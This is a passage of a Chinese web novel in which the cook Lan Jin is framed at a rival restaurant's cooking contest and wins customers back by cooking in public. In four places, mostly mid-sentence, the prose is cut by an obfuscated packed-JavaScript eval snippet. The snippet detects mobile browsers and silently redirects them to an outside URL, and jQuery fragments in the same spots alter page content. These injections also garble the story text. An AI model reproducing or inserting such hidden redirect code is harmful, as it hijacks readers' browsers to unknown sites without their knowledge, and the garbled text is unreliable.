当蓝锦招待下学归来的云江望和霍旭云时，才终于把白日里的疑问聊出来。 “今日好生奇怪呢！有好些鬼鬼祟祟的小女娘，来我这里点私房特供菜。那服饰打扮，倒像你们书院的人？” 云江望和霍旭云对视一眼，眼中俱是愤愤，一人一句地控诉起来。 “可别提了，就是这帮人，把我们害惨了。” “先是体术课上，发现后山晾衣杆那，丢了好些干净的、用来换身的院服，只能满身汗津津地听讲。” “午间又被山长拉去训话，不知从哪里听闻的，说我们一大早不来书院做早课，倒去菜场逛早市！” “甚至还有人白日逃课，下馆子大快朵颐。也不知多么好吃的菜色，竟致流连忘返，久不离去。” “大发雷霆，查我们究竟是谁逃课呢！” “我们彼此一对，指天赌誓，才知道，并没有哪一个人做这种事！” “定是那帮人顺了我们书院的衣裳，也不知包藏的什么祸心。藏头遮尾，按到我们头上，真是飞来横祸！” “难不成是那青山书院的新招数？他们看不惯我们女学，却又不喜一年才招一次男生的规定。” “使这样下三滥的手段污人名声，还叫我们受罚！” 要是叫沈苏琰那一行人听到，可是要喊冤枉了。 她们家中，都被川流书院的山长夫人拜访过，知道这是最革新不过的去处。 也私下相约，远远探看过，里面的小娘子都很洒脱肆意，才识飞扬，更加不受镣铐牵绊。 这些女娘，虽因家中到底存了观望一番的保守态度，暂时未能入学，心中却依然有所向往。 喔，是很自由的一个所在呢…… 于是到了想要乔装，去赴蓝记饮食店的“鸿门宴”时，一下子就想到了这样一个绝佳身份。 原想着那么多件衣服，拿个一件看不出来什么，用完再悄没声地摆回去。 何况这衣袍虽是院服模样，却刷洗得不成样子。 有几件，肘间、腋下还打了小补丁，就跟人扔在山野里不要了的一样。 谁知她们这么不约而同，个个都往这里想了。 几人陆陆续续齐聚一堂，倒像约好了，集体逃学打牙祭似的！ 当然，这番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090785|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想法叫书院学生本尊知道—— 看不上我们蓝记饮食店，还贪吃。拿我们当盾牌，还说我们院服破！ 那只是体术课活动幅度大，加上洗得有一点点勤罢了！ 对方支支吾吾地道歉：“当时看着那么旧，以为无主，无人要的。” 如是差点招云江望一通老拳伺候，那又是后话了。 蓝锦笑着给二人端上了一大盆土豆炖牛腩，好好慰藉她们破碎受伤的心灵，和饥肠辘辘的身体。 霍旭云是个极爱吃肉的小娘子。 巧了，云江望也是！ 要不说她们俩能做朋友呢。 当下二人各自去盛满一碗白米饭，拿着筷子就大口地吃了起来。 牛筋厚厚的，透明爽滑，粘粘糯糯。分不清是土豆淀粉的粘，还是牛肉本身的胶质。 肉切得极大块，多个时辰的炖煮和极新鲜的食材没有被辜负。牛香十足，软烂入味。 蓝锦是把牛肉单独炒过再入锅调味的。 水汽一旦干掉，食材本身就会更吸味道，不管处理什么，这样去调味是事半功倍的。 就像人要排除之前的偏见，才能听进去新的话似的。这是蓝锦做饭时体会到的生活小感悟之一。 拈起一块土豆，稍一用力就裂成两半。 沙沙的，面面的，表面布满亮红色的汤汁。 粘稠的汤汁咸香诱人，还带着一点子辣味，格外下饭。 两小只吃得风卷残云。霍旭云还舀了一大勺汤汁，拌着饭，连着肉，一大口吞了。 云江望则是把土豆碾得碎碎的，满满地裹在米饭上。 挖上一勺，再在顶上放一块带肥带筋的牛肉，啊呜一口放进嘴里。 蓝锦在一旁，心满意足地看着两个小姑娘红扑扑的小脸蛋，比自己在吃还开心。 两小只的战斗力不容小觑，一盆子的土豆炖牛肉很快就见了底。 谁叫她们今日运动量大，还挨了罚呢！ 而且动脑子读书，那也是很容易饿的！ 还好，有蓝记饮食店这个好去处。 霍旭云依依不舍，仍在执着地舀仅有的汤汁，拌着所剩无几的白饭。 蓝锦发挥大姐姐的角色，语重心长地劝她们吃一点青菜。 一点，就吃一点点！ 这菜叶子是搁了红葱油炒的，滋味很不一般呢。 故而两小只蔫巴巴的，到底还是听了蓝锦“每顿饭要吃一点叶子菜”的劝导。 一人一半地把那盘绿油油的蔬菜分食完了。 末了，皆擦擦油光发亮的小嘴，满足地相视傻笑。 好像那些不开心的事，都忘到九霄云外了。 有什么能重要过面前的一餐一饭呢？ 还是让我自己舒服最重要！ 两人相携家去了，约好明日还要一起来用朝食和暮食。 蓝锦没想到，没过多久，昭应城里捕风捉影地在传一种很新的消息。 说蓝记饮食店做得一手前无古人的好饭食。 连城里最有钱最有身份的贵女，都要一起相约，不惜逃学挨罚，也来吃呢！ 别看是小店，那可是藏龙卧虎，不可小觑的—— 她们还吃珍珠玛瑙呐！ 18. 冰糖炖蹄髈 蓝记饮食店的私房特供生意，被再次推向了高潮。 无他，影影绰绰的流言在前，连老夫人要请人举办嘉飨宴的消息在后。 天香楼的大堂里，几个闲坐嚼话的书生咂摸完嘴里的一口酒，拈起筷子说开了。 “听说了吗？连老太太要请天香楼的大掌柜去给她家做宴席呐！还要请一个特别有来头的客人。” “你这消息不灵，掌柜的连庖厨门往哪开都不知道，怎么会去掌勺。” “怎么不灵，开食肆的女娘，可不就是萧大掌柜吗？” “不对不对，我怎么听说，是一个姓蓝的年轻娘子，她还给人吃珍珠和玛瑙咧。” 蓝锦若知道人家这么议论自己，难免冷冷一叹。 谣言就是这么传开的！ 那分明是拟物修辞，怎么人人都觉得，她是那等暴殄天物，茹毛饮血的吞金老兽。 萧曼娘就更不自在了。 快步回到卧房，这次连账本都不翻了，直接掷在地上，一把夺了丈夫手中的团扇“咻咻”地狂扇起来。 “那小泼皮，生意倒日渐好了。想老娘当年吃了多少苦，凭甚她就稳当顺遂的。” “我才不信她没有食材以次充好的事儿！不过藏得好些。倒知道拿乡下货和什么客供食材私房菜做借口。” “还有不知哪来的小蟊贼，去翻那百花宴的后账，吓跑了我多少老客。谁家摆流水席不用点死鱼死虾！” 涂了鲜红丹蔻的指甲，衬得一双莹白手，托着一杯普洱茶小口呷着。 “这次连家老太太的宴，说什么也不能让她再出风头。” 第二天一早，天香楼门口热热闹闹地围了一群看客。 只见门口大石狮子的脑袋上方，贴了一张醒目的告示。 “战书”！ 说的是天香楼发起美食大赛，诚邀列位同侪应战，愿与天香楼斗菜者，揭下此榜。 胜者可获连老夫人嘉飨宴的承办资格，并天香楼一百两的奖资。 败者向胜者俯首帖耳，自认对方是盘古开天以来第一美食。 悟雅叫蓝锦溺爱的，现下走街串巷无所不会，心直口快无所不谈。看完这告示，一五一十地跟蓝锦学起来了。 “小娘子，这不是指名道姓，要折我们蓝记的颜面吗！” “谁给她们的底气，凭什么在她那拼个输赢，就能有这盘古开天的名号？这分明是邈晴庵老大人给我们家的夸赞！” “依我看，小娘子别搭理她们是正经，叫她们搭了戏台冷冷清清地自吹自擂，好不臊人。” 蓝锦把刚蒸好的黑猪瘦肉包和牛肉大葱包装了一盘子，端到日日辛苦打探消息的悟雅面前。 “别打抱不平啦，给这小眉毛都气皱啦。” 二人对坐，拿起大包来吃。咬一口，唔，肉汁四溢，咸香满口，面皮暄软，是黑猪肉馅的！ 再来一个，葱香扑鼻，肉质弹嫩，牛肉馅的也好吃！ “你说得虽然有道理，可是，那是一百两诶。万一能赢下这笔钱，我们都能买个房舍，再造个奢华烤炉了！” “小娘子要去应战，那可是天香楼，什么做不出来，万一反口不给钱，怎么办？” “不会吧，照你说的，今日阵仗这么大，众目睽睽的。真要这么不守信，还怎么在这昭应城混呐？” “小娘子说得对，那我们就去！保准让她们输个底儿掉，让她们还敢针对我们蓝记。”悟雅把小拳头一挥，斗志昂扬。 蓝锦眉眼弯弯地笑了：“你就对我这么有信心，万一很多人应战，很难赢下呢？” 这却叫蓝锦猜错了。萧曼娘叱咤昭应城饮食界这么多年，年资不是白熬的，拳头也不是吃干饭的。 其余食肆老板闻弦音而知雅意，纷纷鹌鹑似的蜷缩起来了。 更有甚者，还把门脸一关，挂上牌子：“家中吵架，歇业三天”。 生怕有一根羽毛搅到这场点名道姓的战火里。 故而等蓝锦大剌剌地揭了榜，等到斗菜日快来临的时候，才后知后觉地发现—— 只有她蓝记饮食店应战了！ 真是好不乌龙。 既来之则安之，蓝锦心绪倒坦然。赢了意外之财，输了拱手服软呗，日子不还是一样地过。 所以她并没有急急地采买名贵食材，也没有急急地拜访庖厨名家，从前该怎么样，现在还怎么样。 斗菜日一早，天香楼门口就布置了起来。 几方长桌上，中心摆着写有“天香楼”和“蓝记饮食店”的大瓮。 素白衣袍的蓝锦，和天香楼手艺最好的汪粤汪厨子各站一边，炉灶、食材、厨具俱是一模一样的。 菜色不限，谁做出的菜得到食客们的签子更多，谁便获胜。 汪粤昨天满头是汗地被萧曼娘耳提面命，只一个劲地说：“哩哩哩甘四情呢咩，居要四我某好多信升。” 萧曼娘不管，只是一味地鸡娃。 此时汪厨子又带着浓浓的口音，倒和蓝锦打起了招呼：“小娘几，听港你你好会曲离居肝，介么腻害。” 还邀请她看自己的特制厨刀，锃锃亮，溜溜薄。 蓝锦客气地回道：“我也就剖剖通通咗，今日我们公贫公敬地切磋~” 两人回到灶台前，皆精心挑了食材。汪粤这边是命题作文，因萧曼娘一定要他做自家打出名声来的腌笃鲜。 蓝锦这边就没这许多限制。她昨日见姜克松送来的猪蹄髈肉多骨小，新鲜诱人，特意为今天订了几个。 把收拾干净的猪蹄髈略略焯水，蹄髈皮变成了肉粉色。 起了一口大油锅，把这蹄髈炸成虎皮，又细细削去面上的杂质。 为了卖相好看，也为了嚼起来不费口，蹄髈上的肉筋被细心地切断了，骨肉分离。 搁上葱姜料酒，小火炖上一炷香。 趁这个功夫炒个嫩嫩的糖色。蓝锦下了一大把冰糖，小火炸得它发出“滋啦滋啦”的响声，引起人群一阵激动。 炒好的糖色鲜红发亮，复把葱姜香料一炸。叫那花椒八角香叶桂皮，都最大限度地发挥自己的作用。 一时四处遍布了蓝锦手下霸道的香料味道。 再放入肘子，倒进和蹄髈平齐的开水，撒盐调味，热热地炖上快一个多时辰。 等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090786|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到出锅的时候，肉香似乎要掀开盖子喷薄而出。 蓝锦把朱红晶亮、软烂几乎脱骨的大蹄髈往大白盘子里一放，肉皮似乎禁不止自身重量似的，随着蓝锦的动作晃来晃去，一时不停地颤巍巍地动。 这还不算完。蓝锦将浓郁馨香的炖肉汤汁仔细过滤，撒了冰糖、盐和陈年好花雕，用大火热腾腾地收汁。 直到汤汁愈发浓稠，舀起一勺来坠如红线，方小心地浇到炖好的蹄髈上。 朱红的肉汁，顺着软弹浓香的蹄髈皮，慢慢地往下淌。 中心那根大骨头，好像一提溜就能被光杆子拈出来似的。 看客们的口水在这一瞬间达到了顶峰。 更不用说这冰糖炖蹄髈的底下，铺了一层嫩菜心，边上还有一朵精心雕好的青萝卜花。 青红相间，分外勾人食欲，卖相也是极好的。 随着蓝锦的示意，众人一拥而上，不约而同地拿筷子去夹那块一直duangduang勾人的蹄髈皮。 吸溜一口，好像直接化在了嗓子眼里！ 滋味是咸甜得宜的，直叫它肥而不腻，多一分则多，少一分则少。 再夹一块粉红色的软嫩瘦肉，也是入味得很，好像抿一抿就全都烂在嘴里了似的！ 此时已有人抓耳挠腮，极想抱回家配上一大碗米饭，又歆羡那些蓝记饮食店的老顾客。 原来你们每日吃的都是这样的细糠！ 却不知蓝记饮食店能不能上这道菜，好叫他点上一只，下个三大碗米饭！ 蓝锦就是这样善解人意，神秘一笑，拿出了自己刚焖好的一大锅米饭，拿了碗勺，吆喝大家来盛。 众人又是一哄而上。 扯下一大块朱红津亮的蹄髈皮，裹着一口白米饭，塞得满嘴吃下肚，神仙来了也不换！ 舀上一勺酱红色的蹄髈汤汁，浇在白米饭上，把软烂的粉色嫩肉搅在其中，往嘴里扒拉一大口。 唉！太满足了！ 好想每天都能吃上这冰糖炖蹄髈啊，泪流满面。 蓝锦在一旁笑着观赏，汪厨子那边人气没那么高，倒还是笑呵呵的，主动来找蓝锦。 “蓝老板，雷这猴香啊，雷放升，我木会撒赖。” 还盛了一碗腌笃鲜，邀蓝锦尝自己的手艺。 蓝锦舀了一勺子汤，在口中一抿。嗯，确实不如自家的菜色，和她之前想象的一样。 她的舌头猫一样灵，这道对鲜味的要求登峰造极的菜，叫她尝来倒觉其中腥味。 “这豆结用的豆子和水不算上好，你或可先用开水烫过去腥。有家青娘豆腐坊，去她那采买，保准比这个好。” “试试咸肉也提前多泡小半时辰，或许能有变化。” “其实当下不是吃笋的季节，为何要选这道菜？” 汪厨子悄悄地挤眉弄眼，说道：“嚼牌菜，曲名。” 到了此时，结果显而易见，蓝锦差点就要美滋滋地肖想着那一百两银子该怎么花。 却见岳素秋人矮眼尖，指着那终于坐不住了，从二楼厢房姗姗出现的萧曼娘一行人，大声叫道： “有人换签子！” 19. 牡丹生鱼片 大瓮后猫手猫脚的厮波闻言一顿。 他正想把写有“蓝记饮食店”的签子捞出来，改投到“天香楼”的瓮中。 蓝锦嗤之以鼻，心道，好粗糙的手法，就这样当场明箱操作，真当在场的人眼睛是瞎的吗？ 端着盖了蹄髈的米饭碗的人群顿时有所反应，嗡嗡地骚动起来。 本来没有驻足的人们，此时也直觉将有什么热闹发生，赶忙围上来。 连那担着担子的货郎，吆喝也不吆喝了，把担了蓖麻子油的竹筐往地上一搁，探头探脑地打听怎么回事。 几声锐利的鸟啼打破了寂静，像是什么信号一样，只听人群中四散传来几个闷闷的声音。 “我说，谁看见换签子了，莫不是有人眼看着要输了，在这搅浑水吧！” “可不是，人家天香楼准备了上好的食材，两份一模一样的，有人偏用自己带来的肉做菜哩。” “不公平，不公平喽！谁知道她那肉里是不是给咱们下了迷魂药罂粟壳啊。” “就是，勾得人越吃越虚，骨瘦如柴，街上一走，叫太阳一照打着晃就跌死了！” “你们看啊，她们自家人，大的大，小的小，都瘦成猴样，面相都不好，能做出什么好饭食。” “还是天香楼的正经厨子，做的菜有福运，吃得安心。大家说，我说得有没有道理！” 几人越讲越不是话来，饶是一开始还浑不在意的食客，此刻也愣住了一般，急忙把刚才吃得正香的饭碗，往蓝锦的桌子上一放。 又忙忙躁躁地躲得远远的，像是躲晦气一般。 蓝锦心头怒火噌噌直冒，你什么都能说，但不能污蔑我的菜。 正要把炖肉的锅托起来自辩，却见萧曼娘懒洋洋地信手一指，自她身边窜出一个小厮波，猛地撞将过来。 把蓝锦手旁的大锅连羹带肉地踢翻在地！ 蓝锦看着倒伏的热锅，冒着热气的肉汤泼在脏兮兮的地面上，边上是被浇湿了的柴火，心中且愤且悲。 你怎么敢浪费粮食！ 她和小秋都不舍得吃这样好的饭菜。从牙缝里省出来银子，花大价钱买最好的食材调料，一心为了自家小饭馆的生意。 起早贪黑地忙，人都快瘦脱了相。 为了改变入不敷出的局面，饶是这样都没放弃那需要些奔波的花糕生意。 一开张你就贱价摆宴挤兑我们，毁坏我们的原料，没得逞就污蔑我们用坏食材，还绵里藏针地下什么战书。 蓝锦没有让瞬间汹涌的情绪控制大脑，反而极力冷静下来。 她完全懂了。 这什么一百两的斗菜大赛，完全就是为了把她哄来当众羞辱的圈套，无论她怎么施为。 可笑她这样天真，真以为赢了拿奖银，输了照常过。 人家从没有把她当个平等的对手，只当她是指缝的蝼蚁。 天香楼那边的灶头完好无损，活跃的火苗叫嚣着舔舐黝黑的锅底，那积年的油脂随火渐化，彷佛滴下一颗黑泪。 汪厨子像被雷劈了一样愣在原地。 小秋率先反应过来，扑过来去执蓝锦的手，声音已带了哭腔： “姐姐，你有没有烫到手？疼不疼？小秋给你吹吹。” 萧曼娘气势高昂地走上前来，不耐地随手把蓝锦姐妹往后狠狠一拨，清清嗓子道： “有劳各位火眼金睛。在我天香楼的场子，断不容这样耍弄心机的贱民，毁坏百姓们的利益。” “诸位放心，我萧曼娘绝不会助长这等小人的气焰。必定知会卢县令，叫坏人身体根基的奸商趁早歇业。” 蓝锦咬着牙，护住小秋，从地上捡起被撞翻的刀具。豁了口的刀划了她的手，她也一无所觉。 她抬头看了看自恃胜券在握的萧曼娘，那殷红气派的口脂，一张一合的嘴唇，分外刺眼。 却终究冷冷一笑，心中默念：好，你不让我做买卖，我蓝锦偏要把生意做到让你抬不起头。 蓝锦不屑自证，极珍惜地把自家的东西收拢好，擦干净双手。 拉着小秋，扬着下巴，像一只斗胜的公鸡一样回家了。 后面的人群骚动不止。 “嘿，她怎么走了？这摊子事她也不管啦？” “莫不是认输了吧，嗨，早听说她们家不干净，果然喽。散了散了，没有热闹看咯。” “不见得嘞。这么没来由的事，都当没听见一样，莫不是她真有什么大本钱？” “诶诶诶，你看，那黄狗在吃蹄髈，哈喇子直流，连地上那肉汁子都舔干净了。” “哎呦喂，她家蹄髈是真好吃。哎，叫我吃上一整个，立时死在街上我也愿意啊。”这是刚才最后一个被人拉着放下碗的人。 “喂，不怕得罪人啊。”有人一杵对方的腰眼，往萧曼娘那使眼色。 两人袖着手，低着头，慢吞吞地走远了。 人群渐渐散去，彷佛这事只是一件凡俗生活里落下的雨点子，悄无声息地融进土壤里，尘埃落定了。 徒留下几只在路边狼吞虎咽地啃食蹄髈的大狗。 蓝锦走回家的路上并不好过，那些冷漠从众、大惊小怪的指点言犹在耳。她表面镇定自若，内心惊涛骇浪。 心中有一个声音在理智地说，这是对手无能狂怒的诬陷。 在绞尽脑汁地计算怎么翻盘，怎么把对方踩在脚下，怎么打一个漂亮仗。 怎么把什么旁人都没见过的新菜变出来，扩大经营，叫世界上欺负自己的人统统消失。 另一个声音忍不住攻击自己，我这样天真，真以为在异世就这样稳稳当当地活下来了。 原来我之前只是运气好，遇到的多是好人罢了。 现在看见那么一点点倾轧和黑暗，还是忍不住这么难过。 像被抽去了茕茕独行、好不容易建立起来的根基一样难过。 这么多人，三言两语就信了这样子虚乌有的中伤。 难道是因为我的好运气消散了吗？我是不是一辈子都只能活成这幅样子？ 小秋一只手紧紧攥着蓝锦的手指，另只手从怀里抽出帕子递给她，那是蓝锦之前给她精心准备。 水蓝色布帛，绣了两只自在游水的小鸭子。 只要是有水的地方，鸭子就能自己存活、觅食、长大。 人与鸭子一样，共享这谁也夺不走的空气与阳光。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090787|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “姐姐，你做的饭是世界上最最好吃的。真的，比娘亲做得还好吃。” “小秋都长高了，而且脸蛋也长胖了。” 说罢挺起胸膛，努力地拿两只手揪住自己的脸蛋，用力往两边扯，彷佛这样就更胖了。 蓝锦看着小萝卜头，扑哧一声笑了。 笑着笑着，才陡然发觉，在她反应过来之前，眼泪滚滚地流了满面。 蓝锦转身去了后间，伏在床上狠狠哭了一场，好像穿越以来的惊惶和不安，直到这时才找到了一个出口。 她原本只是个厨子而已呀！ 她都不懂得做生意，也不懂得怎么和形形色色的人打交道。 只是对生存的恐惧，和养活幼妹的责任，迫着她像陀螺一样，尽力模仿着老板、进货商、家长等成熟大人模样，旋转不停。 从前自己只管钻研做菜，哪怕累了倦了，起手就能点个外卖，躺倒就有席梦思大床。 小秋张着小胳膊，拼命伸得很长，很用劲地把蓝锦抱了个满怀。 又用细嫩的脸蛋去蹭蓝锦的脖颈。 蓝锦回抱着小秋，就在这细小却咚咚有力的小心跳声中，终究彻底平复下来了。 她追求的是什么呢？什么是让她受尽挫折也要做成的？ 是想赚大钱，为没有家世的孤女姐俩用银子筑起壁垒？ 是想让更多的人吃上前朝后世的中华美食？ 是想无论在何时何地，都能过上自己希望的生活？ 蓝锦想，都是。 她每一次在灶台前挥刀的动作，不单意味着温馨的袅袅烟火，本身就是对命运的冷冷反击。 而且她很聪明，不是吗？即便是不熟悉的部分，她也上手得这样好。 傍晚，安静了大半日的蓝记饮食店，一字排开了几张长桌。 依旧是蓝记风格的招牌，上书：“烹饪秘籍大公开”。 蓝锦一改颓靡，笑容满面地解释，她将从零整治每一道菜，还会传授提升厨艺的窍门。 要有人对蓝记的食材不放心，随便去哪个摊铺买。拿过来立时就能当场处理，免费为君烹煮。 有人知晓白日间天香楼门口的风波，当即凑了这个热闹，拿自己手中活蹦乱跳的鲜鱼往前一递： “我刚钓上来的，大吧，你做这个！” 蓝锦不忙着动手，反而先把自己面前的调料、厨具、果蔬和肉类一一过秤或刷洗，挨个说明自己的购买渠道。 然后才利落地宰杀了这条活鱼，拿干净的流水冲洗了好几遍。 去鳞去脏，放血去骨，削皮拔刺。拿反复清洗的厨刀——虽然一角豁了一个小口，刀随心动。 薄如蝉翼，透如绸纱，片片雪白，鱼的肌理脉络清晰可见。 蓝锦拈起一片展示，夕阳下的鱼生片透出一种轻盈的鲜活气，卷起的边沿反射着金光。 而后变戏法一般，将几片鱼生攒成牡丹样式。 蕊心点上一滴熬煮好的橙香果酱，边缘用青绿的山葵酱抹出两道写意的，如彗星扫尾般，由浓转淡的烟雾般的曲线。 她把削下的边角料先一步放进嘴里，方才从容地向看客展示这盘漂亮的鱼生。 20. 排骨炖豆角 看客里不乏叫好者，却仍有继承了白日间从众心态的人。 “我们家常不吃这东西。这道菜这么简单，灶头都不用，太讨巧了，当然没什么机会动上手脚啊。” “你这话说得不对，不懂行，这菜虽不需要开火，但小娘子那一手好刀工啊，啧，怎么也要个十年八年的吧？” “不会吧，她才多大岁数啊？” “人家当面切给你瞧了，还能作假的？” 蓝锦心中方向定了之后，并不把这些看法太放在心上。反而继续笑盈盈地说： “这第一道菜就做得了。客人您拿好，这鱼杂我也收拾干净了，您回家拿辣椒蒜苗葱姜热热地一炒，是好吃的鱼籽鱼泡锅呢。” “还有旁的客人要来试试吗？家常的我也能做，正好省了您做晚饭了。” 爱钓鱼的客人满眼放光地接过来，兴兴头头地赶回家了。他要给自己闺女露一手，今天咱家吃牡丹花儿呐！ 有个刚去肉摊，把剩下的排骨脊骨都包圆的月牙眼衙役正路过，听得这边热闹纷纷，还当是有人聚众闹事。 围过来正赶上蓝锦此问，月牙眼衙役当即把两提子肉往桌上一排。 “我正愁怎么料理呢！搁我就是白水煮了蘸粗盐，吃得嘴里淡得跟什么似的，不痛快，你做你做。” 蓝锦照常给他展示了一遍自己要用到所有物什，耐心地解释了一遍进货渠道。 三下五除二地收拾好要用的葱姜蒜，各色红烧香料。 手执砍骨刀，干脆地把骨头切成小块，绿油油、脆生生的豆角切段。 旺旺地支起锅，倒进黄澄澄的菜籽油。 锅中一汪油的边沿冒起滋滋啦啦的小泡，就把豆角放进去煸炒，直到嫩生生的豆角被煎炸成油亮亮的绿色，再盛到一边。 再次起锅烧油，把那些葱姜香料一齐下入锅中，刺啦一下，油锅冒起热闹的大泡，溢出浓重的香味。 再把排骨溜着边滑进锅中。随着越来越响、潮水般的煎炒声，鲜红的排骨被煸得发白，肉质回缩，翘起焦黄的边沿。 令人幸福的肉香几乎飘满了整条街，四处都有人在说：“好香啊！这是谁家在做饭？” 排骨里的水汽被煸炒殆尽，蓝锦抓紧锅把，手腕使了巧劲，快快地颠了几下勺。 锅中突然窜起眉毛高的鲜红火苗，直赚得人群中一阵阵“噢噢噢~”的惊呼。 蓝锦观察着火候差不多了，不紧不慢地倒入自家酿的味极鲜、酱油和老抽，放入上好的陈年老花雕。 炒勺翻动之际，白皙的排骨被裹上了酱黄的色彩，肉香混合酱香，气味也更加复合。 上了色的肉本就诱人，更何况这还是蓝锦自家酿的调味秘方。 愈炒愈香，蓝锦适时倒入新的开水，以小火慢慢地炖煮着。 待到水咕嘟咕嘟地冒起大泡，直把青翠的豆角加进香得不行了的锅中，掀盖时的迷人荤香吊足了围观群众的胃口。 等到该出锅的时候，蓝锦细细问了月牙眼差役的喜好和忌口，撒上了些许蒜末，用自家的食盒盛给了他。 “下次带着食盒还来，能换玫瑰露的。”蓝锦冲他眨眨眼。 月牙眼哪里能忍得住回家再吃，当即跟蓝锦要了筷子，食盒也不拿了，端起盘子就在一旁的空桌上吃将起来。 夹起酱红油亮的排骨，一口咬下去，外酥里嫩，肉汁子在口中爆开。 排骨肉几乎脱骨，一扯就只剩下一根光溜溜的骨头。 “老板，有馒头吗？给我来六个！” 蓝锦早有准备，把一旁大蒸笼里的馒头取下盖子，并不用手碰，拿筷子夹出六个，端将过去。 一转身把筷子扔进干净水盆里，竟是用过就洗，不用第二回。 月牙眼一筷子夹起五六根豆角，嘴巴张得溜圆，一股脑塞进去。 豆角被熬煮透了，比那肉还吸汤汁吸味道，咸得够劲，香得够味。 再把馒头往盘子里一按，浓浓地吸满了肉汁子，张大了嘴一咬，满口生津，唇齿留香。 美啊！美得很！ 众人围观这场突如其来的吃播，看那没一会功夫就堆得跟小山似的肉骨头，哈喇子流得就像白日间等着人散去、蓄势抢食的大黄狗们。 有人把手一扬，转过身去，大声喊道：“我这就去买食材，老板别收摊，等我回来！” 有人上前一大步挤到这人刚离开的空隙，更大声地说：“小娘子，我不需要买食材。我信你！这就给我上一份刚才一样的菜，要多少银钱？” 蓝锦眉毛一挑，爽朗地笑开了：“平素都要三百钱，小娘子信我，今日爽快价，我只收小娘子一百五十文！” 野兔一样的女娘滑不溜手地一下钻到前排，把怀里的钱往桌上一拍：“我要，我现在就要！” 蓝锦答道：“好，收了小娘子的钱，我还给小娘子传授些窍门，好叫你在家中也会料理这道菜。” 当下取出姜克松送来的半扇排骨，“哐”地往桌上一放，猪肉的鲜红和香气骗不了人，一看就是好肉。 “小娘子，我给你挑这不肥不瘦的地方。这一片，你自家买排骨时也可以选。” “这样的脊骨肉吃了不硬，肌间肉吃了不肥，刚好烧排骨菜。” 蓝锦且做且教。“若为省油，豆角可以不用提前煸炒，只是这样做更香。” “寻常家里做肉，怕腥臊，总要焯水。这道菜排骨肉吃起来娇嫩多汁的关键，就是不过水，直接炒。” “我这炸了香料，煸了够量的葱姜，猪也是刚杀不久的，你放心，全然不会腥臊。” 等到要炒酱色了，又补充说： “这是我特制的酱油，三种各有讲究。当然，用家常的酱油也能烧，放一种也行，但颜色味道也会逊色点。” “想吃到一模一样的味道，还请到我蓝记来，省得您烟熏火燎地守灶台了。” 小娘子吃吃一笑，直接应了，耐心地边听边等。最后，珍而重之地把这盘冒着热气的排骨炖豆角端去一旁开吃了。 还没忘要上一碗米饭。 如是生意越来越好，有自家带来食材赶来的，有买了菜肉折返来的，也有不拘什么直接点菜的。 松鼠鳜鱼，糖醋小排，麻婆豆腐，蛋炒饭，香辣口水鸡，蚂蚁上树……蓝锦做得胳膊都酸了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090788|163650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，心中却是高兴。 “哎，好吃，真好吃！” “唉，悔不该放下那碗蹄髈啊！那多香啊，炖了这许久，汤浓稠的，肉烂烂的，肉皮子还滑嫩……都便宜那几条狗了！” “还不是你叫我看眼色，别惹事，想起来我都亏得慌。” “这下真是萧掌柜错怪小娘子啦，嗨，有些人听风就是雨的。” “你还说呢，当时你听了反应可大，叫得可欢。” “我，我那不是惜命嘛。总之我以后私下来吃就是了。” “那蹄髈，早知道买一份了，以后还能吃得到吗？” 云江望和霍旭云今天又有考试，蒙头蒙脑地考了一整天，至晚方归，走路还打着飘。 见蓝锦和悟雅收拾着店门口满地的垃圾，看着明显是热闹过后的桌椅板凳，忙上前问： “蓝姐姐，怎么又摆起暮食了？如此辛劳，不说今日是斗菜日吗？” 蓝锦笑笑，心中这事已经翻篇了，被问起也很平和，三言两语交待了。 两姐妹听到一半，已经攥起小拳头：“这怎么行，就仗着她姓萧，好像要把整个昭应城都改了姓似的！” “蓝姐姐别怕，我们想法子，帮你收拾她。” 蓝锦好说歹说，跟她们掰开揉碎地讲了自己的想法。 “她想做的，无外乎就是中伤我的名声，抢走我的客人。” 